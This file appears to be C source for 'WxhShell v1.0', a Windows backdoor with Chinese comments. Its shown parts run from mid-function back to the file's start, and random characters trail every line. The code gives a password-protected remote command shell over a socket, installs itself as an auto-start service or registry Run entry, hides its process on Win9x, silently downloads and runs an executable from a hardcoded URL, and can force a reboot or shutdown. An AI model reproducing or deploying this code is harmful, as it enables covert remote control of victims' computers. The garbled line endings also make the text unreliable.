    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s>}ScJZK  
    if(Boot(SHUTDOWN)) =,Y i" E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pba 6Ay6B  
    else { 4F_*,_Y  
    closesocket(wsh); /I[?TsXp  
    ExitThread(0); g\sW2qXEw  
    } |&JCf =  
    break; 6=V&3|"  
    } Jt4&%b-T  
  // 获取shell 6"+/Imb-  
  case 's': { U`gQ7  
    CmdShell(wsh); ]"'$i4I{R  
    closesocket(wsh); T &.ZeB1  
    ExitThread(0); \^<eJf D  
    break; eow6{CD8  
  } _D%aT6,G+(  
  // 退出 2[WH8l+  
  case 'x': { =nQ"ye  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }6#lE,\lM  
    CloseIt(wsh); 5<o8prt B  
    break; j$l[OZ:#  
    } /S29\^  
  // 离开 fhx_v^< X  
  case 'q': { 2qEm,x'S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :1Jg;G  
    closesocket(wsh); r^3QDoy  
    WSACleanup(); %'2DEt??  
    exit(1); j{)_&|^{  
    break; #X&`gDW  
        } <5qXC.{Cyp  
  } 0@w8,x  
  } :r0?[#r?N,  
m.ib#Y)y  
  // 提示信息 ImJ2tz6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P,xI3U< q  
} T7f>u}T  
  } IipG?v0z~  
#]nH$Kq  
  return; nSxFz!  
} >kK;IF9h  
H8[ L:VeNT  
// shell模块句柄 Fb#_(I[aj  
int CmdShell(SOCKET sock) wLeP;u1  
{ 8l(_{Y5(-  
STARTUPINFO si; Gc=#  
ZeroMemory(&si,sizeof(si)); .ztO._J7f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y8T%g(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hL:n9G  
PROCESS_INFORMATION ProcessInfo; [a~|{~?8  
char cmdline[]="cmd"; (rfU=E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _jmkAmeu  
  return 0; B%HG7  
} 8BnI0l=\  
jkd'2  
// 自身启动模式 ^8S'=Bk  
int StartFromService(void) n(-1vN  
{ iN\D`9e  
typedef struct ?`PG`|2~  
{ CBC0X}_`  
  DWORD ExitStatus; r|rOIAo  
  DWORD PebBaseAddress; qaK9E@l  
  DWORD AffinityMask; BU|=`Kb|))  
  DWORD BasePriority; ?#|Y'%a"  
  ULONG UniqueProcessId; (<f`}, QxD  
  ULONG InheritedFromUniqueProcessId; Y`@:L'j  
}   PROCESS_BASIC_INFORMATION; <u\j 4<p  
jOs&E^">&B  
PROCNTQSIP NtQueryInformationProcess; B%95M|  
x:bJ1%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I$@0FSl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \$o5$/oU(  
c]]OV7;)>  
  HANDLE             hProcess; 8r@_b  
  PROCESS_BASIC_INFORMATION pbi; <uUHr,#  
wfH#E2+pk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  6C6<,c   
  if(NULL == hInst ) return 0; d` > '<  
D$|@: mW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8^26g 3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $5XE'm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >3R)&N  
uveby:dh  
  if (!NtQueryInformationProcess) return 0; U_ j\UQC  
Hk'D@(h S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p<#WueR[  
  if(!hProcess) return 0; RY=B>398:  
G]Fp},  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?1\rf$l8  
w0n.Y-v4i  
  CloseHandle(hProcess);  b,] QfC  
;eYm+e^?.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 29R_?HBH  
if(hProcess==NULL) return 0; V gLnpPOQ  
92|\`\LP%  
HMODULE hMod; m22FOjk\  
char procName[255]; E/MD]ox  
unsigned long cbNeeded; w'NL\>  
Opc, {,z6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .t\#>Fe  
}Gmwm|`*  
  CloseHandle(hProcess); 4+fWIY1 "  
9VyY [&  
if(strstr(procName,"services")) return 1; // 以服务启动 L;d(|7BVv  
J[6`$$l0  
  return 0; // 注册表启动 Ke0j8|  
} :77dl/d%  
]"Y? ZS;H  
// 主模块 G:'hT=8  
int StartWxhshell(LPSTR lpCmdLine) xVOoYr>O  
{ e nsou!l  
  SOCKET wsl; 15NeC7GAh  
BOOL val=TRUE; S>AM?  
  int port=0; k+ Shhe1  
  struct sockaddr_in door; kXw&*B-/  
"`l8*]z  
  if(wscfg.ws_autoins) Install(); B}n tD  
Jw;Tq"&  
port=atoi(lpCmdLine); V\U,PNkZQ  
7noxUGmFw  
if(port<=0) port=wscfg.ws_port; wxy. &a]  
X?PcEAi;w  
  WSADATA data; +6dq+8msF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x<_uwL2a  
0q6$KP}q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a o"\L0;{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UVND1XV^f  
  door.sin_family = AF_INET; @w?y;W!a>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _ISIq3A?  
  door.sin_port = htons(port); `;?`XC"m  
Tw^b!74gq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IGKF&s*;{[  
closesocket(wsl); 8_yhV{  
return 1; 3i KBVN  
} v(5zSo  
)YSS>V  
  if(listen(wsl,2) == INVALID_SOCKET) { ;[pY>VJ(  
closesocket(wsl); $9LI v  
return 1; 7OF6;@<  
} CKoRq|QG_  
  Wxhshell(wsl); X@:[.eI~  
  WSACleanup(); E?,O>bCJ5  
>93I|C|  
return 0; X8l|^ [2F  
Rn(6Fk?   
} BO6u<cu"-  
j5eX?bi_v  
// 以NT服务方式启动 /r Q4JoR>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1|U8DK  
{ ;;r}=0V*=  
DWORD   status = 0; :PJ 5~7C  
  DWORD   specificError = 0xfffffff; a#Yo^"*1  
1?6zsA%N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &w4~0J>v!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bq+ Q$#F2X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V 4~`yT?*"  
  serviceStatus.dwWin32ExitCode     = 0; gaBVD*>  
  serviceStatus.dwServiceSpecificExitCode = 0; .(D,CGtYb  
  serviceStatus.dwCheckPoint       = 0; S3cV^CzNg  
  serviceStatus.dwWaitHint       = 0; HN7C+e4U~  
X:3W9`s )*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iLd_{  
  if (hServiceStatusHandle==0) return; 2<"kfa n  
J0%e6{C1  
status = GetLastError(); 6 07"Z\  
  if (status!=NO_ERROR) 0+H4sz%.  
{ 1?!z<<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gHL v zm  
    serviceStatus.dwCheckPoint       = 0; &\w:jI44Bs  
    serviceStatus.dwWaitHint       = 0; Pl2ZA)[g  
    serviceStatus.dwWin32ExitCode     = status; $G $147z  
    serviceStatus.dwServiceSpecificExitCode = specificError; %yr(i 6L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TOH!vQP  
    return; h3.6<vM  
  } 57nSyd] PR  
1/hk3m(C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tN-U,6c]  
  serviceStatus.dwCheckPoint       = 0; VB(S]N)F^  
  serviceStatus.dwWaitHint       = 0; BH@b]bEJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hu4\4x$?  
} M.*3qWM  
'h]sq {  
// 处理NT服务事件,比如:启动、停止 at(oepq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p`oSI}ZwB  
{ r]6X  
switch(fdwControl) ;";#{B:  
{ ^nPk;%`0  
case SERVICE_CONTROL_STOP: dq.'[  
  serviceStatus.dwWin32ExitCode = 0; #KFpT__F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5:" zs  
  serviceStatus.dwCheckPoint   = 0; mmf}6ABYT  
  serviceStatus.dwWaitHint     = 0; XkGS3EY  
  { ZSs)AB_Pe/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /8$*{ay  
  } ?WD JWp%  
  return; =r?#,'a  
case SERVICE_CONTROL_PAUSE: W.|r=   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D(z}c,  
  break; 7ThGF  
case SERVICE_CONTROL_CONTINUE: `fL81)!jI#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .UdoB`@!v=  
  break; 1I^uq>r  
case SERVICE_CONTROL_INTERROGATE: IN{ 1itE  
  break; -JMlk:~  
}; j$%uip{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K1*oYHB  
} 1kDr;.m%  
x!@3.$  
// 标准应用程序主函数 B#Q=Fo 6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cVR#\OM  
{ S*0P[R  
";>>{lYA.  
// 获取操作系统版本 .#BWu(EYV  
OsIsNt=GetOsVer(); i wFI lJ@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8i?Hh?Mf}  
S|_}0  
  // 从命令行安装 ]CL9N  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q,AM<\S  
QP%*`t?  
  // 下载执行文件 )^D:VY9 2  
if(wscfg.ws_downexe) { 2{`[<w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +CQ$-3  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7?[{/`k~?  
} o 5;V=8T;  
8Ev,9  
if(!OsIsNt) { [Y%H8}  
// 如果时win9x,隐藏进程并且设置为注册表启动 @a[Y[F S  
HideProc(); )9PP3"I  
StartWxhshell(lpCmdLine); eG F{.]  
} 0}:wM':G  
else u`j9m @`  
  if(StartFromService()) 8B|qNf `Yi  
  // 以服务方式启动 sy s6 V?  
  StartServiceCtrlDispatcher(DispatchTable); O=A(x m#  
else %XU V[L}  
  // 普通方式启动 b+6%Mu}o  
  StartWxhshell(lpCmdLine); 0=,vdT  
AVR=\ qR  
return 0; DX H"`1[-  
} #&oL iz=hZ  
-weCdTY`X  
CSBk  
)]W|i9  
=========================================== G\I DgPj`  
s/" l ?d  
bq}hj Cy  
^kF-mM=  
}2X"  
*pZhwO !D  
" kv)IG$S 0  
LY? `+/  
#include <stdio.h> H:x{qS4Si  
#include <string.h> ivi,/~L  
#include <windows.h> iuxS=3lT"K  
#include <winsock2.h> r^j iK\*  
#include <winsvc.h> A=+ |&+? t  
#include <urlmon.h> ,[j'OyR  
;`(l)X+7  
#pragma comment (lib, "Ws2_32.lib") kz UP   
#pragma comment (lib, "urlmon.lib") K9@F1ccQ/  
Js'#=  
#define MAX_USER   100 // 最大客户端连接数 g6wL\g{29  
#define BUF_SOCK   200 // sock buffer 4|EV`t}EV  
#define KEY_BUFF   255 // 输入 buffer Px$4.b[{_Y  
Vw P+tM  
#define REBOOT     0   // 重启 <,Z6=M`  
#define SHUTDOWN   1   // 关机 "F.0(<4)  
YR\pt8(z?  
#define DEF_PORT   5000 // 监听端口  ?[`*z?}  
WF!u2E+  
#define REG_LEN     16   // 注册表键长度 Kj+=?R~}S  
#define SVC_LEN     80   // NT服务名长度 j1sZRl)D  
ar#Xe;T!  
// 从dll定义API u5LrZt]k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .0gF&>I}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 555*IT3b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F79!B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QUSyVp{$  
lCznH?[  
// wxhshell配置信息 ujt0?DM  
struct WSCFG { lls-Nir%  
  int ws_port;         // 监听端口 ,Zs"r}G^  
  char ws_passstr[REG_LEN]; // 口令 H`XE5Hk)P%  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^kElb;d  
  char ws_regname[REG_LEN]; // 注册表键名 YgFmJ.1  
  char ws_svcname[REG_LEN]; // 服务名 \]a@ NBv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &E(KOfk#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <NVSF6`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Uql|32j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U11bQ4ak  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C@7<0w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (/oHj^>3N`  
z(yJ/~m  
}; {imz1g;  
tzKIi_2  
// default Wxhshell configuration @+,J^[ y  
struct WSCFG wscfg={DEF_PORT, h>A~..  
    "xuhuanlingzhe", UUuB Rtau  
    1, w}`TJijl  
    "Wxhshell", !MNnau%O  
    "Wxhshell", >;9+4C<z0  
            "WxhShell Service", YV p sf8R  
    "Wrsky Windows CmdShell Service", ! qF U  
    "Please Input Your Password: ", \*(A1Vk  
  1, j\o<r0I  
  "http://www.wrsky.com/wxhshell.exe", "%~Jb dx  
  "Wxhshell.exe" Y<"BhE  
    }; ;B,6v P#  
(H/2{##  
// 消息定义模块 J2ryYdo>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C(Bh<c0@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .h0@Vs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zlw+=NX  
char *msg_ws_ext="\n\rExit."; 3b#eB  
char *msg_ws_end="\n\rQuit."; -!~ T$}/F  
char *msg_ws_boot="\n\rReboot..."; I>(3\z4s  
char *msg_ws_poff="\n\rShutdown..."; ^)|!nd  
char *msg_ws_down="\n\rSave to "; 6~t;&)6J  
M$O*@])  
char *msg_ws_err="\n\rErr!"; W'B=H1  
char *msg_ws_ok="\n\rOK!"; cU+% zk  
iFypKpHg~  
char ExeFile[MAX_PATH]; \bc ob8u  
int nUser = 0; PU"C('AP  
HANDLE handles[MAX_USER]; bGO[P<<  
int OsIsNt; 6BnP"R.  
ry2ZVIFa  
SERVICE_STATUS       serviceStatus; |6ZH+6[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N3Yf3rK  
G(n e8L8  
// 函数声明 fH#*r|~  
int Install(void); 49gm=XPm  
int Uninstall(void); )C@O7m*.4  
int DownloadFile(char *sURL, SOCKET wsh); 8~~*/oCoJt  
int Boot(int flag); 9Ez>srH(  
void HideProc(void); $P{|^ou3a#  
int GetOsVer(void); =.sg$VX  
int Wxhshell(SOCKET wsl); 2%|0c\y|z=  
void TalkWithClient(void *cs); 3t*e|Ih&j5  
int CmdShell(SOCKET sock); 1hz:AUH  
int StartFromService(void); H;eGBVi  
int StartWxhshell(LPSTR lpCmdLine); ,k,RXgQ  
e?V7<7$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =tS1|_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0pC}+ +  
9}=]oX!+V  
// 数据结构和表定义 ;F/yS2p  
SERVICE_TABLE_ENTRY DispatchTable[] = 323zR*\m  
{ cg]\R1Gm  
{wscfg.ws_svcname, NTServiceMain}, d&@>P&AT  
{NULL, NULL} ;aY.CgX  
}; FS(bEAk}  
'pa>;{  
// 自我安装 3>+9Rru  
int Install(void) vZ rE9C }  
{ p H5iv>H  
  char svExeFile[MAX_PATH]; %ja8DRQ.  
  HKEY key; e Qz_,vTk  
  strcpy(svExeFile,ExeFile); ? 0}M'L  
>E9:3&[F  
// 如果是win9x系统,修改注册表设为自启动 gc y'"d"  
if(!OsIsNt) { B*zR/?U^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HZG^o^o1l+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dv_& ei  
  RegCloseKey(key); m$bX;F}T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |2YkZ nJn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sM4Qu./  
  RegCloseKey(key); {1<XOp#b  
  return 0; n0nvp@?7bJ  
    } @jKiE%OP  
  } J#```cB  
} :skNEY].  
else { {x-iBg9#l2  
/9K,W)h_  
// 如果是NT以上系统,安装为系统服务 AB.gVw| 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  /z0X  
if (schSCManager!=0) L,m'/}$  
{ :3uCW1  
  SC_HANDLE schService = CreateService hJkSk;^  
  ( &EELq"5K  
  schSCManager, "5 /i  
  wscfg.ws_svcname, iq25|{1$  
  wscfg.ws_svcdisp, &V.\Svm8]  
  SERVICE_ALL_ACCESS, THQd`Lj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ({R-JkW: ;  
  SERVICE_AUTO_START, l[MP|m#  
  SERVICE_ERROR_NORMAL, ~_!lx  
  svExeFile, $,/;QP}  
  NULL, QM"\;l??  
  NULL, /uh?F  
  NULL, /|kR= ~  
  NULL, !vaS fL*]  
  NULL p}b:(QN~m  
  ); c Nhy.Z~D  
  if (schService!=0) dTE(+M- Gr  
  { \o&\r)FX  
  CloseServiceHandle(schService); c7E|GZ2Hc  
  CloseServiceHandle(schSCManager); z ?3G`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g}cb>'=={  
  strcat(svExeFile,wscfg.ws_svcname); Y]u6f c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TL29{'4V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sQ)D.9\~  
  RegCloseKey(key); 8RA]h?$$J  
  return 0; H}Jdnu|ko  
    } nB~hmE)  
  } _RTJEG  
  CloseServiceHandle(schSCManager); yFD3:;}  
} up# R9 d|  
} b`lLqV<[cB  
>q}Ns^ .'  
return 1; d4 Hpe>  
} '=M4 (h  
rx$B(z(c  
// 自我卸载 %![%wI?  
int Uninstall(void) N=JZtf/i  
{ Ih&rXQ$  
  HKEY key; pG|+\k/B  
*2? -6  
if(!OsIsNt) { y1oQ4|KSI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^`HP&V  
  RegDeleteValue(key,wscfg.ws_regname); 2"'<Yk9  
  RegCloseKey(key); ?!uj8&yyf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <]SI -  
  RegDeleteValue(key,wscfg.ws_regname); BA5b;+o-  
  RegCloseKey(key); 2j*+^&M/  
  return 0; o'Uaz*-po  
  } )jS9p~FS  
} cE|Z=}4I7  
} c2tf7fkH  
else { s`Y8 &e.Yr  
LU7ia[T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \8KAK3i'  
if (schSCManager!=0) + YjK#  
{ rryC^Vma  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *ommU(r8  
  if (schService!=0) 2b[R^O}   
  { z-J?x-<  
  if(DeleteService(schService)!=0) { :4&q2-  
  CloseServiceHandle(schService); \\Z{[{OZ  
  CloseServiceHandle(schSCManager); "%mu~&Ga  
  return 0; cnm*&1EzV  
  } <r8sZrY  
  CloseServiceHandle(schService); kn^? .^dVX  
  } hB !>*AsG  
  CloseServiceHandle(schSCManager); l2&s4ERqSm  
} GY%2EM(  
} 9On0om>  
_#SCjFz  
return 1; M<%g)jn_  
} MnQ4,+ji-  
k|r+/gIV  
// 从指定url下载文件 fFSQLtm?E  
int DownloadFile(char *sURL, SOCKET wsh) 0bcbH9) 1q  
{ <%SG <|t  
  HRESULT hr; " iz'x-wy  
char seps[]= "/"; k)a3j{{  
char *token; Qw,{"J  
char *file; mZ[tB/  
char myURL[MAX_PATH]; jNC@b>E?~  
char myFILE[MAX_PATH]; .?Pghqq.  
e2}5< 7  
strcpy(myURL,sURL); 4GL-3e  
  token=strtok(myURL,seps); Y*KP1=Md  
  while(token!=NULL) {SQ#n@Q&$  
  { d:_3V rRZ  
    file=token; )~Pj 3  
  token=strtok(NULL,seps); ]y **ZFA  
  } kw M1f=!-  
W/\M9  
GetCurrentDirectory(MAX_PATH,myFILE); ]46-TuH  
strcat(myFILE, "\\"); -J`VXG:M  
strcat(myFILE, file);  t=6[FK  
  send(wsh,myFILE,strlen(myFILE),0); KkCA*GS  
send(wsh,"...",3,0); T2%{pcdV/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fbjT"jSzw  
  if(hr==S_OK) N!TC}#}l  
return 0; gQ0W>\xz  
else ,P T5-9 m  
return 1; l>J>?b=x"[  
Q|CLis-  
} : U Yn  
*%(BE*C}  
// 系统电源模块 zYz0R:@n+  
int Boot(int flag) 0C,2gcq  
{ M?nYplC  
  HANDLE hToken; ,~TV/l<  
  TOKEN_PRIVILEGES tkp; ({5`C dVi  
`El)uTnuZ[  
  if(OsIsNt) { T+q3]&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @j{n V@|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i:@n6GW+iw  
    tkp.PrivilegeCount = 1; "h84D&V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G(*7hs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &l<~Xd#  
if(flag==REBOOT) { L+]|-L`S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9P)28\4  
  return 0; W,53|9b@  
} Wb;x eG  
else { < 9 vS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u~-,kF@  
  return 0; c[6=&  
} Rr!oT?6J?  
  } ^]_5oFRIj  
  else { UD+r{s/%  
if(flag==REBOOT) { f-'$tMs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) op|:XLR5  
  return 0; 03$lgDQ  
} `Cv@16  
else { "(QI7:iM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tnn,lWu|  
  return 0; _ft)e3Gf  
} 'y? HF@NJ  
} KsG>,# Q  
sZ7RiH +I  
return 1; /BaXWrd+  
} {<k}U;uiO  
p&O-]o8  
// win9x进程隐藏模块 [? 1m6u;  
void HideProc(void) YZHqy++x  
{ /yd<+on^  
B'U;i5u4'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AgU 7U/yk  
  if ( hKernel != NULL ) B|zVq=l~  
  { W4ygJL7 6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b~L8m4L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ss4<s 5:y  
    FreeLibrary(hKernel); ,<cF<9h  
  } &# w~S~  
'-?t^@  
return; q@6Je(H  
} yrgb6)]nm@  
HEMq4v4  
// 获取操作系统版本 .15^c+j  
int GetOsVer(void) QN'v]z  
{ ZBf9Upg  
  OSVERSIONINFO winfo; *9?T?S|^$F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (F.vVldBy  
  GetVersionEx(&winfo); ja Ot"iU.B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $(PWN6{\r^  
  return 1; zB@@Gs>  
  else OpT0V]k^"9  
  return 0; XY*KWO  
} V!3.MQM  
=#Qm D=  
// 客户端句柄模块 a#NP69  
int Wxhshell(SOCKET wsl) C\d5t4s  
{ Z^?YTykH  
  SOCKET wsh; ~p'DPg4  
  struct sockaddr_in client; P?Fm<s:  
  DWORD myID; -g6C;<Y  
{W5D)  
  while(nUser<MAX_USER) l*0`{R  
{ A>OGU ^  
  int nSize=sizeof(client); %x5zs ]4^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,VTX7vaH  
  if(wsh==INVALID_SOCKET) return 1; j}dev pO  
<e%~K4KH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H5 'Le{  
if(handles[nUser]==0) ?\J.Tv $$$  
  closesocket(wsh); /[|ODfY  
else .}6Mj]7?i  
  nUser++; DX$zzf  
  } qt !T%K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  =>Md>VM  
A8by5qU  
  return 0; g0n 5&X  
} c{SD=wRt,y  
b#2$Pd:(  
// 关闭 socket C $r]]MSj  
void CloseIt(SOCKET wsh) G'\x9%  
{ ?t{ 2y1  
closesocket(wsh); TzW1+DxM5  
nUser--; kpU-//lk+  
ExitThread(0); ti}g?\VT  
} }K%y'D  
Ksu_4dE  
// 客户端请求句柄 /t<C_lLM  
void TalkWithClient(void *cs) 9}TQ u0  
{ *G,'V,?  
z#|#Cq`VG  
  SOCKET wsh=(SOCKET)cs; ncy?w e  
  char pwd[SVC_LEN]; uSRvc0R\  
  char cmd[KEY_BUFF]; 'J=knjAT  
char chr[1]; CaV>\E)  
int i,j; #FHyP1uyc  
F~Z~OqCS  
  while (nUser < MAX_USER) { ?V>\9?zb  
Wz^M*=,  
if(wscfg.ws_passstr) { \a|bx4M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O(Tdn;1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e[ 8AdE  
  //ZeroMemory(pwd,KEY_BUFF); w'-J24>=  
      i=0; nnm9pnx  
  while(i<SVC_LEN) { UJX=lh.o  
:.k)!  
  // 设置超时 oF(<}0Z  
  fd_set FdRead; n~wNee  
  struct timeval TimeOut; L9FijF7  
  FD_ZERO(&FdRead); R>YDn|cWI  
  FD_SET(wsh,&FdRead); .-(s`2  
  TimeOut.tv_sec=8; ?R ;K`f9<  
  TimeOut.tv_usec=0; nU6WT|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <X{hW^??)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f/VrenZ_  
dLtn,qCX0^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YyZ>w2_MTi  
  pwd=chr[0]; 3X,SCG  
  if(chr[0]==0xd || chr[0]==0xa) { =?, dX  
  pwd=0; \s[/{3  
  break; ]DaC??%w  
  } Y8fahQ#  
  i++; ZMVQo -=  
    } D}| 30s?u1  
Zk4(  
  // 如果是非法用户,关闭 socket 3V"y|q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o5 fXe}pl@  
} A`D^}F6  
rLfhm Ds%u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eZr}xo@9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mR? } gR  
V(Dn!Nz  
while(1) { >;;tX3(  
_cW (R,i  
  ZeroMemory(cmd,KEY_BUFF); Yp_R+a^  
9b0M'x'W5  
      // 自动支持客户端 telnet标准   M_4:~&N$  
  j=0; $)5-}NJf'  
  while(j<KEY_BUFF) { 5G-}'-R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zJp@\Yo+  
  cmd[j]=chr[0]; A|D]e)/6+B  
  if(chr[0]==0xa || chr[0]==0xd) { }#rdMh  
  cmd[j]=0; 4G%!t`? q  
  break; ~<%/)d0  
  } DB^"iof  
  j++; fnUR]5\tc  
    } A-"}aCmik  
Ifc}=:nr  
  // 下载文件 0> 6;,pd"  
  if(strstr(cmd,"http://")) { ? 8d7/KZO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `y2 6OYo  
  if(DownloadFile(cmd,wsh)) DM-8azq $  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L-LN+6r (#  
  else BE;J/  
